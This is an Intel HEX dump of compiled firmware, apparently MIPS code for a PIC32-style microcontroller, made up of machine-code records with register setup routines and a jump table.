:10e970001c00c0af1c00c28f1800c2af8cfa400b45
:10e980000000000000a0023cdc1c43241800c28fe1
:10e9900021106200000050901c00c28fc2100200c3
:10e9a0005c00c38f211062000000429021184000db
:10e9b0001c00c28fff00423027100200ff004230cf
:10e9c00007004230212060002128400045ba400f56
:10e9d0000000000006000216000000001c00c28fac
:10e9e000010042241c00c2af81fa400b000000006d
:10e9f0001800c38f1c00c28f231062001800c2af22
:10ea00001c00c0af2800c3931c00c28f0500621415
:10ea100000000000010002242000c2a394fa400b71
:10ea2000000000001800c28f010042241800c2af8d
:10ea30002100c3935400c28f180062001800c28fd7
:10ea4000121800002b104300ceff401400000000fd
:10ea50002000c293040040140000000021100000b8
:10ea6000bcfa400b000000002800c2931800c38fbe
:10ea700023106200010042241800c2af2c00c3938f
:10ea8000010002240c006214000000001800c38f73
:10ea900000a0023cdc1c4224211062005000c48f04
:10eaa000212840005400c68f63b9400f00000000c9
:10eab000bcfa400b000000001800c38f00a0023c0d
:10eac000dc1c4224211062005000c48f2128400029
:10ead0005400c68f494a410f000000005000c38f08
:10eae0005400c28f21106200000040a05400c28f69
:10eaf00021e8c0033c00bf8f3800be8f3400b08fc8
:10eb00004000bd270800e00300000000e8ffbd272b
:10eb10001400bfaf1000beaf21f0a0031800c4afb7
:10eb20001c00c5af1800c48f1c00c58f7f49410f62
:10eb3000000000000100022421e8c0031400bf8f80
:10eb40001000be8f1800bd270800e0030000000081
:10eb5000d8ffbd272400bfaf2000beaf21f0a00327
:10eb60002800c4af2c00c5af3000c6af3400c7af1b
:10eb70003000c28f188282af3400c28f388282afd9
:10eb80001882828f21204000212800003400c68f87
:10eb90006551410f0000000088bf023c0002033ca9
:10eba000741043ac88bf023c2061428c02004230aa
:10ebb0001b004010000000002800c28f421002001d
:10ebc00003000424212840002800c68f08000724e1
:10ebd000ce0b410f0000000000a0023cdc56422496
:10ebe0009c00438c00a0023cdc564224f000428c86
:10ebf00018006200122000001800c4afeb51023c64
:10ec00001f8542341800c38f1900620010100000e5
:10ec10004211020021204000400e410f0000000080
:10ec200001000424ff0d410f000000001bfb400bfe
:10ec3000000000003800c28f0c00401000000000ef
:10ec400021200000ff0d410f0000000021184000ae
:10ec50003800c28f2b104300040040100000000059
:10ec600021100000bbfb400b0000000088bf023ced
:10ec7000d060428c00014230eeff401400000000e2
:10ec800030fb400b000000003800c28f0c00401029
:10ec90000000000021200000ff0d410f00000000d7
:10eca000211840003800c28f2b1043000400401090
:10ecb0000000000021100000bbfb400b0000000022
:10ecc00088bf023cd060428c00014230eeff401011
:10ecd0000000000045fb400b000000003800c28f20
:10ece0000c0040100000000021200000ff0d410f2b
:10ecf00000000000211840003800c28f2b10430094
:10ed0000040040100000000021100000bbfb400b7d
:10ed10000000000088bf023cd060428c00014230fd
:10ed2000eeff40140000000001000424ff0d410f1d
:10ed3000000000005dfb400b000000003800c28fa7
:10ed40000c0040100000000021200000ff0d410fca
:10ed500000000000211840003800c28f2b10430033
:10ed6000040040100000000021100000bbfb400b1d
:10ed70000000000088bf023cd060428c000142309d
:10ed8000eeff40100000000001000424ff0d410fc1
:10ed9000000000001400c2af140002241000c2a33f
:10eda000a3fb400b000000007afb400b00000000ba
:10edb0003800c28f0c00401000000000212000002d
:10edc000ff0d410f00000000211840003800c28fe5
:10edd0002b10430004004010000000002110000030
:10ede000bbfb400b0000000088bf023cd060428c9f
:10edf00000014230eeff4014000000000100042436
:10ee0000ff0d410f0000000092fb400b00000000ce
:10ee10003800c28f0c0040100000000021200000cc
:10ee2000ff0d410f00000000211840003800c28f84
:10ee30002b104300040040100000000021100000cf
:10ee4000bbfb400b0000000088bf023cd060428c3e
:10ee500000014230eeff40100000000021200000c1
:10ee6000ff0d410f00000000212040001400c58f5d
:10ee7000280006246ab5400f00000000030040147b
:10ee800000000000a8fb400b000000001000c2932f
:10ee9000ffff43241000c3a3c3ff40140000000081
:10eea00001000424ff0d410f000000002800c38f63
:10eeb000cccc023ccdcc42341900620010100000d2
:10eec000c21802002c00c28f180062001218000045
:10eed000c0100300ffff4224212040000100052450
:10eee0006d0c410f000000000100022421e8c00366
:10eef0002400bf8f2000be8f2800bd270800e0033c
:10ef000000000000e0ffbd271c00bfaf1800beaf2f
:10ef100021f0a0032000c4af2400c5af2800c6af75
:10ef20002c00c7af1400c0a31500c0a32800022402
:10ef30001600c2a32400c28f000042901400c2a396
:10ef4000010002241000c2af09fc400b00000000c9
:10ef50001500c29313004014000000002400c38f6a
:10ef60001000c28f2110620000004290212040005a
:10ef70001400c3931600c293212860002130400082
:10ef80006ab5400f000000000600401400000000b9
:10ef90002400c38f1000c28f211062000000429035
:10efa0001500c2a32400c38f1000c28f211062007d
:10efb00000004290212040001400c3931600c29329
:10efc00021286000213040006ab5400f0000000099
:10efd00011004014000000002400c38f1000c28ff5
:10efe0002110620000004290212040001500c393d0
:10eff0001600c29321286000213040006ab5400ffe
:10f000000000000004004014000000002110000077
:10f010003cfc400b000000001000c28f01004224a5
:10f020001000c2af1000c38f2800c28f2b106200e7
:10f03000c7ff4014000000001500c3931400c293e2
:10f040002b106200ff004230211840002c00c28fbc
:10f0500003006210000000001500c2931400c2a358
:10f060001000c0af36fc400b000000002400c38f2e
:10f070001000c28f21106200000042902120400049
:10f080001400c3931600c293212860002130400071
:10f090006ab5400f000000000700401000000000ab
:10f0a0002000c38f1000c28f21106200000040a01a
:10f0b00033fc400b000000002000c38f1000c28f03
:10f0c0002110620001000324000043a01000c28f41
:10f0d000010042241000c2af1000c38f2800c28f6d
:10f0e0002b106200e1ff4014000000000100022428
:10f0f00021e8c0031c00bf8f1800be8f2000bd2771
:08f100000800e003000000001c
:020000040000fa
:020000041d03da
:10f10800b0ffbd274c00bfaf4800beaf4400b7af4b
:10f118004000b6af3c00b5af3800b4af3400b3af71
:10f128003000b2af2c00b1af2800b0af218880000a
:10f1380021f0a0005800a6af218000000000c48381
:10f148000100d227d40080101200a4a325000224b5
:10f158001c0082140200c22721b800002b000424de
:10f168002d0005243000072420000624ffff5380cb
:10f17800ffff5e240c0064122c00632a0d0060144b
:10f18800000000009a0065520800f7361400671660
:10f19800010042240400f736ffff5380ffff5e247e
:10f1a800f6ff64162c00632a0200f73668fc400b51
:10f1b800010042240a0066160100422468fc400b44
:10f1c8000100f736534b410f21282002ffff03248b
:10f1d800daff431021f0400251fc400b01001026d9
:10f1e800059d033c1d3963242110730000004290e3
:10f1f8000200e432feffe3320bb864000800e43298
:10f20800fbffe332040042302128c0037a0040109b
:10f218000bb864008afc400b2110000021986000a4
:10f228000100de270000c38340280200c01002004e
:10f23800059d063c1d39c6242120c300000084908a
:10f248002110a2002198530004008430f3ff801499
:10f25800d0ff62262e0004246e00641021a800004e
:10f268006c00042410000624008005340201641098
:10f278000100de276d0064288000801473000424d8
:10f28800ed006410740064289a008014750004244a
:10f29800e600641078000424ff0064141200a3a39d
:10f2a8008000f736c000e33288006014201e177c07
:10f2b800190262045800a68f1000e332080160109a
:10f2c8005800a48f5800a78f0000e38c0400e7249f
:10f2d8005800a7afc327030021b0600021a0800019
:10f2e800212880000600a104235803002b180b00d6
:10f2f800232004000300f73621b0600123a0830017
:10f308000300a016c000f23225a8d4020100b52ed1
:10f3180040000324d30143124100432ef800601437
:10f3280080000324b701431201000324c000032412
:10f33800f60043561200b383010003241102801221
:10f348001200a3a3059d043cb842842403000324af
:10f3580002001324dafc400b15000a242198c0008f
:10f368000400858c010069242034037c2b38850235
:10f378009a01e014ff002331f601b4500000858c97
:10f38800f6ff6a14080084241200a6a32198c0007e
:10f398002a187502e1006054209c157c2a18b302d3
:10f3a8000ba86302050040100040e3320300e3327b
:10f3b8002b180300231043000040e33205006010bf
:10f3c8002a1862022a18a202231055000a10030004
:10f3d8002a186202d80060540400e3320400e232c2
:10f3e800f70140100800e232d2fd400b21980000de
:10f3f80068fc400b010042242a00022443006212e8
:10f408002e000424211860022110000094ff6414c7
:10f4180021a800000100c3832a000424ae0164105f
:10f428000040f736059d053c1d39a5242120a30081
:10f43800000084900400843089ff80100100de27da
:10f4480040201500c0a815000100de2721a895005e
:10f4580021a8a3020000c383059d073c1d39e724aa
:10f468002120e3000000849004008430f4ff80141d
:10f47800d0ffb5269bfc400b6c00042463000424d9
:10f488002f0064106400642827008050640004245e
:10f498007f00601458000424211000024c00bf8f24
:10f4a8004800be8f4400b78f4000b68f3c00b58f30
:10f4b8003800b48f3400b38f3000b28f2c00b18f76
:10f4c8002800b08f0800e0035000bd2789016004c0
:10f4d8001000e3327d0060105800a38f5800a78ffa
:10f4e8000000f68c21a000000400e724c2fc400bb9
:10f4f8005800a7af6f00042473016414700004243b
:10f508001200a3a3abfc400b4000f7365800a78fae
:10f518000000e28c0100de270100a3800400e7243c
:10f5280097fc400b5800a7af03006410690004243f
:10f53800590064541200a3a3abfc400b1200a3a310
:10f548005800a58f0000a48c1000e6320400a72400
:10f55800c32f0400002e0500021a04002518a3007a
:10f56800202c037c6f00c0101200a5a301006324a7
:10f57800ff0063300200632c6b0060541000a4a3ea
:10f588001000a5a31100a4a3020012241000b6279e
:10f598005800a7af0300a0120800f4322b18b202db
:10f5a8000b90a3022b98420223105200ffff9432c3
:10f5b8000a1013004000801221984000ffff5526d2
:10f5c8007bfd400bffff1224000044800100d6267b
:10f5d800534b410fffffb526271002002b100200e6
:10f5e800218002022110c002f7ffb2162128200252
:10f5f800d3fe80520000c48389fd400b2000042400
:10f60800534b410fffff7326271002002b100200f7
:10f61800218002022000042421282002f8ff60161d
:10f628000000000052fc400b0000c4831200a3a39a
:10f63800abfc400bc000f7361200a3a35800a38f01
:10f648000000658c040066244701a01021b0a000ca
:10f658000000a380480160100100a32423906500e6
:10f6680001006324ffff6480fdff80542390650040
:10f6780067fd400b5800a6af1000e3322138a00008
:10f688000a38c30025b8f7009dfc400b0000c3836f
:10f698000f0164101200a3a31200b62767fd400be8
:10f6a80001001224534b410fffff7326271002005d
:10f6b8002b1002002180020220000424f9ff6016aa
:10f6c8002128200271fd400bffff13240000768cd7
:10f6d80021a0000004006324c2fc400b5800a3af23
:10f6e8000000838c040084245800a4afc3270300bf
:10f6f80021b0600021a08000bbfc400b21288000c5
:10f708000eff4012010003241200b3832a18750269
:10f7180023ff60102a18b302209c157cebfc400bd9
:10f728001200b3a31000a4a3010012241000b627ee
:10f7380067fd400b5800a7af1c00601023985300ca
:10f748000200e232ab0040100100e2320100e43274
:10f758002d0002242b0003240a10640021204000fd
:10f76800534b410f21282002271002002b100200c2
:10f77800218002020a0060120800e23230000424ec
:10f78800534b410f21282002271002002b100200a2
:10f79800ffff7326f9ff6016218002020800e2329b
:10f7a800ffff423000fe400b2400a2af0800e23207
:10f7b800ffff4230030060122400a2af5600401041
:10f7c800200004240200e232860040100100e232e8
:10f7d8000100e4322d0002242b0003240a106400e7
:10f7e80021204000534b410f2128200227100200fe
:10f7f8002b10020021800202ffffa926c0a80900e1
:10f80800401809002000e232059d043ca8428424e7
:10f8180021a895001800b5af21b869004028140048
:10f828001c00a5afffff42302000a2affdff02245d
:10f838001800e21280a80900400002245900421270
:10f848004100422e2200401480000224430042124c
:10f8580027181500c0000224200042121800a28fa9
:10f868001200a483534b410f2128200227100200c5
:10f878002b100200218002021800a78ff8ffe7244e
:10f888001800a7affdfff726fdff0224eaffe216e6
:10f89800fcffb5262400a28f29fe40500000c48337
:10f8a80027fe605a0000c48320000424534b410ff4
:10f8b80021282002271002002b100200ffff7326c8
:10f8c800f9ff60162180020252fc400b0000c4833d
:10f8d800e4ff40561200a4831800a28f0000468c53
:10f8e8000400478c2120c0020733410f21288002e1
:10f8f80021204000212860000a000624ee31410f33
:10f9080021380000300042242024027c1bfe400bda
:10f918001200a4a320000424534b410f21282002e5
:10f92800271002002b100200ffff7326a5ff6012ac
:10f938002180020220000424534b410f2128200279
:10f94800271002002b100200ffff7326f1ff60163c
:10f9580021800202f4fd400b0200e2321c00a48f59
:10f96800041864000610b6022000a63225106200b2
:10f978000628b402059d073c5043e324059d073c37
:10f988006443e4240b10a6002000a58f0a18850004
:10f998000f00423021186200000064801bfe400bfb
:10f9a8001200a4a3271017001c00a68f04104600fd
:10f9b8000620f6022000e332252044000610f40257
:10f9c8000b20430007008430300084241bfe400bca
:10f9d8001200a4a337008050c0280500c5fd400bc5
:10f9e8001200b3a385ff4010ffffa926fbfd400bc3
:10f9f800200004245fff401020000424dafd400b9f
:10fa080000000000640080121200a3a30300032476
:10fa18000200132400010524212000008cfe400b65
:10fa280011000d242198c000010069242b3884029c
:10fa3800026705002034037c00510400e7ffe0144e
:10fa4800ff0023313f0094502b20c50200290500f8
:10fa5800f4ff6d1425208a011200a6a3e6fc400bd2
:10fa68002198c00001000324500080121200a3a3b3
:10fa78000300032402001324400005242120000071
:10fa8800a5fe400b16000d242198c0000100692432
:10fa98002b388402426705002034037cc0500400e0
:10faa800ceffe014ff002331caff94102b20c502bb
:10fab800c0280500f4ff6d1425208a011200a6a3b2
:10fac800e6fc400b2198c000f3fe64141200a3a3c7
:10fad800aafc400b2000f7365800a68f0000d58cf2
:10fae8000200c3830400c6245800a6af9afc400b4a
:10faf8000200de275800a58f0700a424f8ff03247e
:10fb080024188300080066245800a6af0000768ced
:10fb1800c2fc400b0400748c0700c424f8ff0324c3
:10fb2800242083000400858c0000838c0800842432
:10fb38005800a4af2120a00021b06000bbfc400bfe
:10fb480021a0a000c2ff805000290500c5fd400b80
:10fb58001200b3a32b28c50209fea0100000000064
:10fb6800c5fd400b1200b3a3059d163c4843d6269d
:10fb780096fd400b2128c0025800a6af67fd400b38
:10fb8800219000000a00c32eeffd6010059d043c83
:10fb9800c5fd400b010013241000c32e9cff60100c
:10fba80003000324c5fd400b010013240800c32ee5
:10fbb800b0ff601003000324c5fd400b01001324af
:10fbc800ffff42302400a2aff3fd400b2198000054
:020000040000fa
:020000041d03da
:10fbd800d8ffbd272400bfaf2000beaf21f0a0038f
:10fbe8002800c4af2c00c5af3000c6af3400c7af83
:10fbf80000a0023cdc1c44242800c58fe7b8400f55
:10fc0800000000001800c2af1800c28f04004014a2
:10fc1800000000002110000013ff400b000000004e
:10fc28003400c28f1000a2af00a0023cdc1c4424a8
:10fc38001800c58f2c00c68f3000c78f19ff400fe2
:10fc48000000000021e8c0032400bf8f2000be8f01
:10fc58002800bd270800e00300000000e8ffbd27da
:10fc68001400bfaf1000beaf21f0a0031800c4af4e
:10fc78001c00c5af2000c6af2400c7af00a0023cdf
:10fc8800dc1c44241800c58f1c00c68f494a410f4c
:10fc98000000000000a0023cdc1c43241c00c28fb2
:10fca800211062002a000324000043a02000c48f12
:10fcb80000a0023cdc1c45242400c68f2800c78f06
:10fcc8006900410f000000000100022421e8c00380
:10fcd8001400bf8f1000be8f1800bd270800e00376
:10fce80000000000c0fdbd273c02bfaf3802beaf18
:10fcf80021f0a0034002c4af010002242c00c2afcf
:10fd08003000c227212040003000052400020624cc
:10fd18006551410f000000003002c0a300a0023c62
:10fd2800dc5642249c00448c00a0023cdc56422451
:10fd3800a400458c00a0023cdc564224b000428c52
:10fd480000a0033cdc566324bc00639021386000ab
:10fd580000a0033cdc5663248c00668c3000c3276b
:10fd680000a0083c995708251000a8af1400a7afb9
:10fd78001800a6af1c00a0af010006242000a6af03
:10fd88002130600021384000a9ff400f000000002a
:10fd98002118400000a0023cdc564224b000428cee
:10fda80004006210000000002110000092ff400bc8
:10fdb800000000002800c0af7dff400b00000000dd
:10fdc8002800c28f2800c327211062000800439032
:10fdd8003000022402006210000000002c00c0afb6
:10fde8002800c28f010042242800c2af3000c22779
:10fdf80021204000a34a410f0000000021184000c4
:10fe08002800c28f2b104300edff401400000000b3
:10fe18002c00c28f040040100000000021100000d8
:10fe280092ff400b000000003000c2274002c48f40
:10fe3800212840007f49410f0000000001000224f2
:10fe480021e8c0033c02bf8f3802be8f4002bd27a5
:10fe58000800e00300000000e8ffbd271400bfaf62
:10fe68001000beaf21f0a0031800c4af1c00c5af3e
:10fe78001800c48f1c00c58f7f49410f0000000087
:10fe88000100022421e8c0031400bf8f1000be8fb8
:10fe98001800bd270800e00300000000c0ffbd27d0
:10fea8003c00bfaf3800beaf3400b0af21f0a003b4
:10feb8004000c4af4400c5af4800c6af4c00c7af50
:10fec8005400c38f6000c28f2800c3a32c00c2a3b4
:10fed8001800c0af2000c0af2400c0a35c00c28fd0
:10fee8000500401000000000010002242400c2a305
:10fef800c2ff400b00000000020002242400c2a33d
:10ff08002400c3934c00c28f180062005800c28faf
:10ff18001000a2af5c00c28f1400a2af4000c48fd3
:10ff28004400c58f00a0023cdc1c462412380000a7
:10ff3800dc00410f00000000040040140000000035
:10ff4800211000006200410b000000009880828fa1
:10ff58000400401000000000211000006200410b66
:10ff6800000000005800c28f06004010000000008a
:10ff780001000424ff0d410f00000000f3ff400bb7
:10ff880000000000f3ff400b000000005800c28f83
:10ff98000c0040100000000021200000ff0d410f60
:10ffa80000000000211840005800c28f2b104300a9
:10ffb8000400401000000000211000006200410b06
:10ffc8000000000088bf023ca061428c4000423023
:10ffd800eeff401000000000f880828f04004010ff
:10ffe80000000000211000006200410b000000002a
:10fff8002800c29345004010000000002000c0af58
:020000041d04d9
:100008001c00c0af1c00c28f1800c2af3200410be9
:100018000000000000a0023cdc1c43241800c28f32
:1000280021106200000050901c00c28fc210020014
:100038005000c38f21106200000042902118400038
:100048001c00c28fff00423027100200ff00423020
:1000580007004230212060002128400045ba400fa7
:100068000000000006000216000000001c00c28ffd
:10007800010042241c00c2af2700410b0000000011
:100088001800c38f1c00c28f231062001800c2af73
:100098001c00c0af2800c3931c00c28f0500621467
:1000a80000000000010002242000c2af3a00410b0a
:1000b800000000001800c28f010042241800c2afdf
:1000c8002400c3934c00c28f180062001800c28f2e
:1000d800121800002b104300ceff4014000000004f
:1000e8002000c28f0400401400000000211000000e
:1000f8006200410b000000002800c2931800c38f63
:1001080023106200010042241800c2af2c00c393e0
:10011800010002240c006214000000001800c38fc4
:1001280000a0023cdc1c4224211062004800c48f5d
:10013800212840004c00c68f63b9400f0000000022
:100148006200410b000000001800c38f00a0023cb1
:10015800dc1c4224211062004800c48f2128400082
:100168004c00c68f494a410f000000004800c38f69
:100178004c00c28f21106200000040a04c00c28fca
:1001880021e8c0033c00bf8f3800be8f3400b08f19
:100198004000bd270800e00300000000e8ffbd277d
:1001a8001400bfaf1000beaf21f0a0031800c4af09
:1001b8001c00c5af2000c6af2400c7af1800c38f0e
:1001c800cccc023ccdcc42341900620010100000a7
:1001d800c2100200c01002001800c2af1800c38f7e
:1001e8002000c28f18006200121000001800c2af71
:1001f8001c00c28f000042900c8282a31c00c28f98
:1002080001004224188282af1c00c28f208282af74
:10021800010002242c8282af010002240d8282a3f5
:100228002400c28f248282af00a0023cdc56422404
:10023800cc00428c060040140000000000a0023ce4
:10024800dc564224c400428c0b0040100000000021
:100258001800c28f421002001800c2af0d828293ac
:1002680040100200ff0042300d8282a32c82828f50
:10027800401002002c8282afe00c410f0000000009
:1002880001000224848082a388bf023c001003245a
:10029800641043ac88bf023c681040ac80bf023c8d
:1002a800000a40ac88bf033c20616294444a027c47
:1002b800206162a488bf033cd06062940421027c60
:1002c800d06062a488bf033c60606294010004248b
:1002d8000421827c606062a488bf033c2061629430
:1002e8000400027c206162a480bf023c000a40ac8a
:1002f80080bf023c100a40ac1800c28fffff4324a5
:1003080080bf023c200a43ac80bf023c008003341b
:10031800080a43ac88bf023c1c000324c41043ac49
:1003280088bf023c18000324c81043ac88bf023cb5
:1003380000100324341043ac88bf023c001003248f
:10034800641043ac88bf023c00100324681043ac1f
:1003580021e8c0031400bf8f1000be8f1800bd270e
:100368000800e00300000000d0ffbd272c00bfaf4d
:100378002800beaf21f0a0033000c4af3400c5afe1
:100388003800c6af3c00c7aff88080af00a0023c81
:10039800dc564224cc00428c0600401400000000c9
:1003a80000a0023cdc564224c400428c09004010e4
:1003b800000000003400c28f421002003400c2afb7
:1003c8003c00c28f40100200388282aff900410b16
:1003d800000000003c00c28f388282af3800c28f14
:1003e800188282af1882828f2120400021280000c5
:1003f8003c00c68f6551410f0000000088bf023cd9
:100408000002033c741043ac88bf023c2061428c5c
:10041800020042301b004010000000003000c28f74
:100428004210020003000424212840003000c68f37
:1004380008000724ce0b410f0000000000a0023c7a
:10044800dc5642249c00438c00a0023cdc5642242b
:10045800f000428c18006200122000002000c4af97
:10046800eb51023c1f8542342000c38f1900620003
:10047800101000004211020021204000400e410fe0
:100488000000000001000424ff0d410f00000000df
:1004980088bf023cd060428c0002427cff004230a0
:1004a8001000c2a33801410b000000002120000009
:1004b800ff0d410f00000000211840004000c28fce
:1004c8002b10430004004010000000002110000021
:1004d8009301410b0000000088bf023cd060428cb1
:1004e8000002427cff0042301000c393efff62100d
:1004f800000000003000c38fcccc023ccdcc42348d
:100508001900620010100000c2100200c0100200a2
:100518003000c2af00a0023cdc564224c400428c2a
:1005280029004010000000004400c28f260040143b
:10053800000000003000c38f3400c28f1800620032
:1005480012180000401003001400c2af1000c0a32e
:100558006d01410b000000001800c28f050040101b
:10056800000000001000c393ff000224030062147f
:10057800000000009301410b000000001800c48f28
:100588001400c58f0a0006246ab5400f0000000059
:1005980003004010000000007401410b000000003f
:1005a8001000c293010042241000c2a34000c48f6f
:1005b80062bd400f000000001800c2af1800c28fd3
:1005c800e5ff4014000000003000c38f3400c28fe4
:1005d8001800620012200000421004001400c2af8c
:1005e80001000424170e410f000000000000000065
:1005f80021200000170e410f0000000021184000c4
:100608001400c28f2b106200f9ff40140000000094
:1006180001000424ff0d410f000000003000c38fcb
:100628003400c28f1800620012180000ffff622415
:1006380021204000010005246d0c410f000000003e
:100648000100022421e8c0032c00bf8f2800be8fc0
:100658003000bd270800e0030000000082300400dd
:100668000c00c6304008827c2530c200792c032457
:100678000630c3000100c630823a04000200e730a9
:10068800c001827c2538e200c21204000c0042300e
:100698002538e200e2cc03340638e3000200e730f4
:1006a800021f040004006330c00e827c251862001b
:1006b800c010050008004230251862000300023c03
:1006c8008833482406186800080063302518e300ba
:1006d80025186600423205000600c6304000a77c97
:1006e8002530c700822a05000800a5302528c50046
:1006f80090c742240610a20010004230251862005c
:10070800c2140400020042300004857c2510450014
:10071800022d04000400a5302510450082250400a0
:1007280008008430251044000200043cc499842445
:100738000620440004008430251864000779023c30
:100748007b284224061062000800e00301004230c2
:10075800d8ffbd272400bfaf2000b4af1c00b3af43
:100768001800b2af1400b1af1000b0af21888000fc
:10077800ffffc230003c0700023406002530e600c7
:100788003c00b38f26986602002c13002510450004
:10079800c01f02003800a48f4220040025206400f6
:1007a80042280200c01f0500428004002580700016
:1007b8009901410f829002008013020026285200fe
:1007c800c0170500429010002590520042a0050075
:1007d8009901410f2120000280130200262882027d
:1007e800c0170500428012002580500042a0050075
:1007f8009901410f2120400280130200262882021d
:10080800c0170500429010002590520042a0050034
:100818009901410f2120000280130200262882023c
:10082800c0170500428012002580500042a0050034
:100838009901410f212040028013020026288202dc
:10084800c0170500429010002590520042a00500f4
:100858009901410f212000028013020026288202fc
:10086800c0170500428012002580500042a00500f4
:100878009901410f2120400280130200262882029c
:10088800c0170500429010002590520042a00500b4
:100898009901410f212000028013020026288202bc
:1008a800c0170500428012002580500042a00500b4
:1008b8009901410f2120400280130200262882025c
:1008c800c0170500429010002590520042a0050074
:1008d8009901410f2120000280130200262882027c
:1008e800c0170500428012002580500042a0050074
:1008f8009901410f2120400280130200262882021c
:10090800c0170500429010002590520042a0050033
:100918009901410f2120000280130200262882023b
:10092800c0170500428012002580500042a0050033
:100938009901410f212040028013020026288202db
:10094800c0170500429010002590520042a00500f3
:100958009901410f212000028013020026288202fb
:10096800c0170500428012002580500042a00500f3
:100978009901410f2120400280130200262882029b
:10098800c0170500429010002590520042a00500b3
:100998009901410f212000028013020026a0820243
:1009a800029c1300c09b130025289302c017050062
:1009b8004280120025805000429805009901410f9d
:1009c800212040028013020026286202c017050079
:1009d8004290100025905200429805009901410f5d
:1009e800212000028013020026286202c017050099
:1009f8004280120025805000429805009901410f5d
:100a0800212040028013020026286202c017050038
:100a18004290100025905200429805009901410f1c
:100a2800212000028013020026286202c017050058
:100a38004280120025805000429805009901410f1c
:100a4800212040028013020026286202c0170500f8
:100a58004290100025905200429805009901410fdc
:100a6800212000028013020026286202c017050018
:100a78004280120025805000429805009901410fdc
:100a8800212040028013020026286202c0170500b8
:100a98004290100025905200429805009901410f9c
:100aa800212000028013020026286202c0170500d8
:100ab8004280120025805000429805009901410f9c
:100ac800212040028013020026286202c017050078
:100ad8004290100025905200429805009901410f5c
:100ae800212000028013020026286202c017050098
:100af8004280120025805000429805009901410f5c
:100b0800212040028013020026286202c017050037
:100b18004290100025905200429805009901410f1b
:100b2800212000028013020026286202c017050057
:100b38004280120025805000429805009901410f1b
:100b4800212040028013020026286202c0170500f7
:100b58004290100025905200429805009901410fdb
:100b6800212000028013020026286202c017050017
:100b78004280120025805000429805009901410fdb
:100b880021204002801302002690620221200002e8
:100b98009901410f21284002c01302002628420271
:100ba800000030ae040025aec01705004218100042
:100bb800251843004210050026187000261045002d
:100bc800802605008231100025308600824105000c
:100bd800003c0500022410002520e400023c05002a
:100be8002630c400263807012630d0002638e50014
:100bf8008041050082261000252004018246050058
:100c08002620c4002638e8008030050082871000be
:100c18002580d00082470500268090002638e8000d
:100c2800422a050026800502802f02008220030048
:100c38002520a40082300200268004022628e6002f
:100c480040360200c22103002520c400c231020040
:100c5800262004022628a60080320200821d0300f6
:100c68002518c30082350200261883002628a6000e
:100c780082320200261866008213020026106200e3
:100c8800080022ae0c0025ae2400bf8f2000b48fd0
:100c98001c00b38f1800b28f1400b18f1000b08ff2
:100ca8000800e0032800bd27c8ffbd273400bfaff8
:100cb8003000b7af2c00b6af2800b5af2400b4aff2
:100cc8002000b3af1c00b2af1800b1af1400b0af32
:100cd80021a880000000948c0400908c0800928c5d
:100ce8000c00918c2f00a010211000002100b32cc3
:100cf800200002240b10b3002198400021b000000e
:100d08002283173c7300f72601004232110040107d
:100d1800c017100042201400252044004280100013
:100d280021a0800000801036c017110042901200e8
:100d380025905200428811002690570280b3313a1c
:100d480040b016009901410f212800026303410bae
:100d580025b05600422014002520440042281000e7
:100d680021a080002180a000c0171100429012002d
:100d780025905200428811009901410f40b0160099
:100d880025b05600ffff7326e0ff601601004232cf
:100d98000000b4ae0400b0ae0800b2ae0c00b1aeb4
:100da8002110c0023400bf8f3000b78f2c00b68fdf
:100db8002800b58f2400b48f2000b38f1c00b28f99
:100dc8001800b18f1400b08f0800e0033800bd2769
:100dd800c0ffbd273c00bfaf3800beaf21f0a00365
:100de800b292023cf2724234d24a03241300400009
:100df8001100600012100000101800001800c2afa7
:100e08001c00c3afea96023c92c242342000c2af33
:100e1800a24e023ca67642342400c2af2800c22764
:100e28002000c38f1000a3af2400c38f1400a3af0a
:100e3800212040001800c68f1c00c78fd601410f23
:100e48000000000001000424ff0d410f0000000015
:100e58002800c22721204000200005242c03410f30
:100e68000000000021200000ff0d410f00000000dd
:100e780021e8c0033c00bf8f3800be8f4000bd276b
:100e88000800e00300000000b8ffbd274400bfaf22
:100e98004000beaf21f0a0034800c4afb292023cac
:100ea800f2724234d24a0324130040001100600059
:100eb80012100000101800002000c2af2400c3afb9
:100ec800ea96023c92c242342800c2afa24e023ccb
:100ed800a67642342c00c2af01000424ff0d410f56
:100ee800000000001800c0afd203410b0000000052
:100ef8002c00c38f1800c28f211862003000c2274f
:100f08002800c48f1000a4af1400a3af2120400014
:100f18002000c68f2400c78fd601410f00000000b3
:100f28003000c22721204000200005242c03410f57
:100f3800000000001800c28f010042241800c2af50
:100f48001800c38f4800c28f2b106200e8ff4014be
:100f58000000000021200000ff0d410f00000000ec
:100f680021e8c0034400bf8f4000be8f4800bd2762
:100f78000800e00300000000a0ffbd275c00bfaf31
:100f88005800beaf21f0a003059d023c605f4324da
:100f98000300638821286000605f4598605f4324f0
:100fa8000700648804006498605f43240b00668827
:100fb8002138c000080067982118e000605f4224cb
:100fc8000f0046882138c0000c0047982110e00027
:100fd8003400c5af3800c4af3c00c3af4000c2af57
:100fe800b292023cf2724234d24a03241300400007
:100ff8001100600012100000101800002000c2af9d
:101008002400c3afea96023c92c242342800c2af21
:10101800a24e023ca67642342c00c2af4800c2273a
:101028002800c38f1000a3af2c00c38f1400a3aff8
:10103800212040002000c68f2400c78fd601410f11
:10104800000000001800c0af2b04410b0000000096
:101058004800c22721204000080005242c03410f26
:10106800000000003000c2a31800c28f1800c32778
:10107800211062001c0042903100c2a33000c393cb
:101088003100c2930400621000000000211000002b
:101098003004410b000000001800c28f01004224f8
:1010a8001800c2af1800c28f1000422ce8ff40148d
:1010b800000000000100022421e8c0035c00bf8f8b
:1010c8005800be8f6000bd270800e0030000000044
:020000040000fa
:020000041d04d9
:1010d80078ffbd278400bfaf8000beaf7c00b7afec
:1010e8007800b6af7400b5af7000b4af6c00b3afa2
:1010f8006800b2af6400b1af6000b0af00a0133cad
:10110800059d163c1d39d6269000a6afdc7164ae4d
:1011180021a000005800a0af0000b0909a00001273
:101128000100b5242110d00200004280880042301e
:10113800a2004014250002248b0002162188a00278
:101148000100b28021800000040003245400a3aff2
:101158005000a0af04001e24ff0052327900422e36
:10116800630140100100352680101200049d043ce4
:101178008c118424211082000000428c0800400059
:1011880000000000d413049df816049df816049d71
:10119800f816049df816049df816049df816049d8b
:1011a800f816049df816049df816049df816049d7b
:1011b800f816049df816049df816049df816049d6b
:1011c800f816049df816049df816049df816049d5b
:1011d800f816049df816049df816049df816049d4b
:1011e800f816049df816049df816049df816049d3b
:1011f800f816049df816049df816049df816049d2b
:10120800f816049df816049df816049df816049d1a
:10121800f816049df816049df816049df816049d0a
:10122800f816049df816049df816049df017049d01
:10123800f816049df816049df816049df816049dea
